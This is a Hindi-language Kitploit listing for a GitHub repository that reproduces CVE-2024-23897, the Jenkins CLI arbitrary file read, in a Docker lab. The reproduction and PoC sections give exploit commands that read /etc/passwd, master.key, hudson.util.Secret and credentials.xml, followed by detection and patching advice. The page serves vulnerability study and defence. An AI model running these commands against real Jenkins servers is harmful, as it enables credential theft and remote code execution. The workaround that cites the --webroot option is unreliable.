Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — Reproduction of cve-2024-23897-jenkins_lfi_reproduction | Kitploit
उपकरण/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

Reproduction of cve-2024-23897-jenkins_lfi_reproduction

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
27 दिन पहलेअभी तक समीक्षित नहीं

CVE-2024-23897 — Jenkins CLI मनमानी फ़ाइल पढ़ने की कमजोरी

CVSS 9.8 (गंभीर) — सक्रिय रूप से वास्तविक दुनिया में शोषित


अवलोकन

CVE-2024-23897 जेनकिंस के कमांड-लाइन इंटरफ़ेस (CLI) में एक गंभीर मनमानी फ़ाइल पढ़ने की कमजोरी है। जेनकिंस CLI कमांड तर्कों को पार्स करने के लिए args4j लाइब्रेरी का उपयोग करता है। यह लाइब्रेरी @ वर्ण के बाद फ़ाइल पथ (@/path/to/file) को उस फ़ाइल की सामग्री पढ़कर और उन्हें तर्क के रूप में इंजेक्ट करके विस्तारित करती है। एक अप्रमाणित हमलावर बिना किसी प्रमाणीकरण के जेनकिंस कंट्रोलर के फाइलसिस्टम पर मनमानी फ़ाइलें पढ़ने के लिए इस व्यवहार का शोषण कर सकता है।

जब इसे credentials.xml, secrets, या master.key के निष्कर्षण के साथ जोड़ा जाता है, तो यह कमजोरी पूर्ण सर्वर समझौता (RCE) का कारण बन सकती है।


तकनीकी विवरण

args4j में @ वर्ण विस्तार

args4j लाइब्रेरी (जेनकिंस CLI कमांड पार्सर द्वारा उपयोग की जाती है) एक सुविधा को लागू करती है: जब कोई तर्क @ से शुरू होता है, तो यह तर्क के शेष भाग को फ़ाइल पथ मानता है, फ़ाइल की सामग्री पढ़ता है, और इसे कई तर्कों में विभाजित करता है। यह फ़ाइलों के माध्यम से बड़ी तर्क सूचियों को पास करने की अनुमति देने के लिए था।

उदाहरण: java -jar jenkins-cli.jar who-am-i @/etc/passwd args4j को /etc/passwd पढ़ने और इसकी सामग्री को who-am-i कमांड के तर्कों के रूप में उपयोग करने का कारण बनेगा।

चूंकि कुछ CLI कमांड (जैसे connect-node) त्रुटि संदेशों/प्रतिक्रिया में तर्क मानों को प्रतिध्वनित या शामिल करते हैं, एक हमलावर CLI प्रतिक्रिया में फ़ाइल सामग्री का निरीक्षण कर सकता है।

हमले का प्रवाह

  1. हमलावर जेनकिंस CLI पोर्ट (डिफ़ॉल्ट: 50000, या HTTP CLI एंडपॉइंट) से कनेक्ट करता है
  2. हमलावर @/etc/passwd जैसे तर्क के साथ एक CLI कमांड भेजता है
  3. जेनकिंस का args4j पार्सर फ़ाइल पढ़ता है और इसे तर्कों में विस्तारित करता है
  4. CLI कमांड उन तर्कों को संसाधित करता है और फ़ाइल सामग्री प्रतिक्रिया या त्रुटि संदेश में लीक हो जाती है
  5. हमलावर विशेषाधिकार बढ़ाने के लिए संवेदनशील फ़ाइलें निकालता है

यह गंभीर क्यों है

  • कोई प्रमाणीकरण आवश्यक नहीं — CLI पोर्ट बिना किसी क्रेडेंशियल के सुलभ है
  • कोई पूर्व शर्त नहीं — किसी विशेष अनुमति या जेनकिंस सुविधाओं को सक्षम करने की आवश्यकता नहीं है
  • व्यापक प्रभाव — हजारों जेनकिंस इंस्टेंस उजागर
  • विशेषाधिकार वृद्धि — secrets/master.key पढ़ने से क्रेडेंशियल डिक्रिप्शन और RCE सक्षम होता है

प्रभावित संस्करण

उत्पादप्रभावितठीक किया गया
Jenkins (weekly)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS (previous)≤ 2.414.22.414.3

नोट: ऊपर सूचीबद्ध फिक्स से पहले के सभी जेनकिंस संस्करण कमजोर हैं। CLI सुविधा कई वर्षों से जेनकिंस में मौजूद है, इसलिए पुराने संस्करण भी प्रभावित हैं, भले ही स्पष्ट रूप से सूचीबद्ध न हों।


पुनरुत्पादन चरण

वातावरण सेटअप

  1. Docker के साथ एक कमजोर जेनकिंस इंस्टेंस चलाएँ:

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    कंटेनर लॉग से प्रारंभिक व्यवस्थापक पासवर्ड नोट करें।

  2. CLI पोर्ट खुला है यह सत्यापित करें:

    root@kitploit:~
    # Jenkins CLI port (TCP 50000) should be listening
    # Or you can use the HTTP CLI endpoint at /cli/
    
  3. आवश्यक निर्भरताओं के साथ Python 3.8+ स्थापित करें:

    root@kitploit:~
    pip install requests
    

Python PoC के माध्यम से पुनरुत्पादन

root@kitploit:~
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

मैन्युअल चरण (jenkins-cli.jar के साथ)

root@kitploit:~
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

अपेक्षित आउटपुट

फ़ाइल सामग्री CLI प्रतिक्रिया या त्रुटि आउटपुट में दिखाई देती है। उदाहरण के लिए, /etc/passwd पढ़ने से सिस्टम की पासवर्ड फ़ाइल प्रविष्टियाँ वापस आएंगी।


प्रूफ ऑफ कॉन्सेप्ट (PoC) — पूर्ण शोषण श्रृंखला

चरण 1: जेनकिंस वातावरण की गणना करें

root@kitploit:~
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

चरण 2: RCE के लिए रहस्य निकालें

root@kitploit:~
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

चरण 3: क्रेडेंशियल डिक्रिप्ट करें और RCE प्राप्त करें

master.key और hudson.util.Secret के साथ, आप jenkins_decrypt.py या CVE-2024-23897 संदर्भों से decrypt.py स्क्रिप्ट जैसे उपकरणों का उपयोग करके जेनकिंस क्रेडेंशियल्स को डिक्रिप्ट कर सकते हैं। डिक्रिप्ट किए गए क्रेडेंशियल्स (SSH कुंजियाँ, API टोकन, क्लाउड प्रदाता कुंजियाँ) का उपयोग कनेक्टेड नोड्स और क्लाउड वातावरण पर रिमोट कोड निष्पादन प्राप्त करने के लिए किया जा सकता है।


शमन

तत्काल सुधार

पहचान

एक्सेस लॉग या CLI ऑडिट लॉग में @ के बाद फ़ाइल पथ वाले तर्कों को खोजें:

root@kitploit:~
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log

# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

समाधान (यदि पैच करने में असमर्थ हैं)

यदि तुरंत पैच करना संभव नहीं है, तो --webroot विकल्प सेट करके या पोर्ट 50000 को ब्लॉक करके CLI पोर्ट को अक्षम करें। हालांकि, ध्यान दें कि वेब UI के अंदर HTTP CLI एंडपॉइंट (/cli/) अभी भी शोषणीय हो सकता है, इसलिए पैच करने की दृढ़ता से अनुशंसा की जाती है।


संदर्भ

  • जेनकिंस सुरक्षा सलाहकार 2024-01-24
  • NVD प्रविष्टि — CVE-2024-23897
  • NVD प्रविष्टि — CVE-2024-23898 (संबंधित CLI DoS)
  • args4j लाइब्रेरी @file विस्तार दस्तावेज़ीकरण
  • CISA ज्ञात शोषित कमजोरियाँ सूची

अस्वीकरण

यह रिपॉजिटरी केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। इस कमजोरी का अनधिकृत शोषण अवैध है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं। केवल उन्हीं सिस्टम पर परीक्षण करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति है।

टूल डाउनलोड करें
कार्रवाईविवरण
जेनकिंस अपडेट करेंजेनकिंस 2.442+ या LTS 2.426.3+ / 2.414.3+ में अपग्रेड करें
CLI पोर्ट अक्षम करेंयदि आवश्यक न हो तो फ़ायरवॉल पर TCP पोर्ट 50000 को ब्लॉक करें
नेटवर्क पहुंच प्रतिबंधित करेंजेनकिंस CLI पोर्ट तक पहुंच को केवल विश्वसनीय नेटवर्क तक सीमित करें
प्रमाणीकरण सक्षम करेंसुनिश्चित करें कि जेनकिंस सभी पहुंच के लिए प्रमाणीकरण की आवश्यकता है
लॉग की निगरानी करेंएक्सेस लॉग में @ तर्कों वाले CLI कमांड देखें